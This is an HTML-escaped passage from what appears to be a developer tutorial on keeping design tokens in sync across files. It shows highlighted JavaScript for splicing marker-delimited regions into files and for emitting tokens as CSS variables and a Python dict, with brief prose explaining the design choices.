&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, region, syntax)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegionError&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`file already has a tokens:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} region`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; block &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(region, syntax, body, version);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { replaceFrom, replaceTo } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; anchor;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;replaceFrom) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; from &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegExp&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(replaceFrom).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(l));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (from &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegionError&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`anchor replaceFrom /${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;replaceFrom&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}/ matched no line`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; toRe &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegExp&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(replaceTo &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; replaceFrom);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; to &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; from; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.length; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (toRe.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(lines[i]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; from &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;replaceTo)) { to &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (to &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegionError&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`anchor replaceTo /${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;replaceTo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}/ matched no line`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;splice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(from, to &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; from &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;block.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three decisions in there are worth pulling out. &lt;code&gt;spliceRegion&lt;/code&gt; throws rather than appending when the region is absent, because silently creating a second copy is precisely the Ansible failure mode. The &lt;code&gt;init&lt;/code&gt; anchor swallows the legacy hand-written block in the same operation that inserts the region, so adoption never leaves a duplicate definition behind. And the hash is over a whitespace-normalized body, so a stray trailing newline doesn’t read as a change.&lt;/p&gt;
&lt;h2&gt;Emit the body from the tokens&lt;/h2&gt;
&lt;p&gt;An emitter turns tokens into the text that goes between the markers. Save this as &lt;code&gt;emit.mjs&lt;/code&gt;. Every emitter is a pure function of &lt;code&gt;(tokens, params)&lt;/code&gt;, which is the property the gate depends on later.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; EmitError&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Error {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Preferred order for output. A SORT KEY, never a filter: anything not named&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// here sorts last instead of being dropped, so a token added to tokens.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// always reaches every consumer.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ORDER &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;paper&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ink&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;accent&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; rank&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (k) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (ORDER.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(k) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ORDER.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ORDER.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(k));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; flatten&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (tokens) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;entries&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tokens.colors, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tokens.fonts }).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ([a], [b]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; rank&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(a) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; rank&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(b) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; a.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;localeCompare&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(b),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cssVars&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, params) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; selector &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; params.selector &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;:root&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; alias &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; params.alias &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; flatten&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(([k, v]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `  --${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; k&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;};`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;selector&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} {`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;body, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;}&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; pythonDict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, params) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; params.name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;THEME&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; flatten&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(([k, v]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `    ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;},`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} = {`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;body, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;}&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
